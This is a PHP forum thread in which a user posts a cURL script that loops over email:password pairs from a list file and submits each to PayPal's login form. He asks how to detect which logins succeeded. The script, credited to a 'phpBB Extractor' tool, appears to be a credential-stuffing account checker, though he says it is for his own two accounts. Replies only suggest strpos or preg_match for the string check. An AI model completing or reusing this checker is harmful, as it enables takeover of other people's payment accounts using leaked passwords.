Check A Variable For A String?how

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
t0pP8uZz
Forum Newbie
Posts: 9
Joined: Fri Jan 26, 2007 8:51 pm

Check A Variable For A String?how

Post by t0pP8uZz »

feyd | Please use

Code: Select all

,

Code: Select all

and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]


hello, i cant seem to find a function  that will search a variable for a specifed string.

also ive tried "strpos" and not working

heres my script it attemps to login to my 2 paypal accounts then i want it to search a string to see if it actualy logged in or if details were invalid.

Code: Select all

<?
//Scripted By NoNe (Edited By t0pP8uZzz)
//For use with phpBB Extractor Extreme
//Special thanks to NoNe
//Greetz To Actaviosan, Don, 3l3ctr1c

$url="https://www.paypal.com";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0");
curl_setopt($ch, CURLOPT_REFERER, "https://www.paypal.com/");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$store = curl_exec ($ch);
$content = curl_exec ($ch); # This returns HTML
curl_close ($ch);

$list = file("list.txt");

foreach($list as $testit) {
     
		$testit = explode(":",$testit);
		$email = $testit[0];
		$password = $testit[1];
		$password = str_replace("\n", "", $password);
$emaila = str_replace("@", "%40", $email);

$postinfo = "login_email=" . $emaila . "&login_password=" . $password . "&submit.x=Log+In&form_charset=UTF-8";

$url="https://www.paypal.com/cgi-bin/webscr?cmd=_login-submit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0");
curl_setopt($ch, CURLOPT_REFERER, "https://www.paypal.com/");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postinfo);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$store = curl_exec ($ch);
$content = curl_exec ($ch); # This returns HTML
$data = curl_exec($ch); # this will store the html of the retreived page into $data


{
ob_flush();
flush();
}
}
echo 'Done'

?>

if you can get that to check if you actually logged in or if there was a problem with the login details i will luv you, i also may donate

thanks


feyd | Please use

Code: Select all

,

Code: Select all

and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]
User avatar
superdezign
DevNet Master
Posts: 4135
Joined: Sat Jan 20, 2007 11:06 pm

Post by superdezign »

You can easily search a string with preg_match().
t0pP8uZz
Forum Newbie
Posts: 9
Joined: Fri Jan 26, 2007 8:51 pm

Post by t0pP8uZz »

thanks
t0pP8uZz
Forum Newbie
Posts: 9
Joined: Fri Jan 26, 2007 8:51 pm

Post by t0pP8uZz »

can u show me some code like

If ($data == Invalid) //that will not work thou becas im searching a whole html for the string invalid, can you show me the code, to search the string invalid in variable data thanks
User avatar
superdezign
DevNet Master
Posts: 4135
Joined: Sat Jan 20, 2007 11:06 pm

Post by superdezign »

Code: Select all

preg_match('/whatever/', $variable);
User avatar
Ollie Saunders
DevNet Master
Posts: 3179
Joined: Tue May 24, 2005 6:01 pm
Location: UK

Post by Ollie Saunders »

strpos() is the recommended function for such things, what is going wrong?
User avatar
RobertGonzalez
Site Administrator
Posts: 14293
Joined: Tue Sep 09, 2003 6:04 pm
Location: Fremont, CA, USA

Post by RobertGonzalez »

I second that. The manual even tells you:
Tip

Do not use preg_match() if you only want to check if one string is contained in another string. Use strpos() or strstr() instead as they will be faster
How is your string searching not working?
t0pP8uZz
Forum Newbie
Posts: 9
Joined: Fri Jan 26, 2007 8:51 pm

Post by t0pP8uZz »

Hello guys thanks for replying, i am very thankfull.

ok the

Code: Select all

$data = curl_exec($ch); # this will store the html of the retreived page into $data
line is suppose to get the returned html after submitting the login, i dunno if it does or not but if i try strpos() with it, It does not work at all even if the string is always in the page its not working. try it for your self.

thanks in advance
User avatar
feyd
Neighborhood Spidermoddy
Posts: 31559
Joined: Mon Mar 29, 2004 3:24 pm
Location: Bothell, Washington, USA

Post by feyd »

Have you tried "ssl://" instead of "https://"?
User avatar
mikeq
Forum Regular
Posts: 512
Joined: Fri May 03, 2002 3:33 am
Location: Edinburgh, Scotland

Post by mikeq »

show us how you used strpos() function.
User avatar
Ollie Saunders
DevNet Master
Posts: 3179
Joined: Tue May 24, 2005 6:01 pm
Location: UK

Post by Ollie Saunders »

Post Reply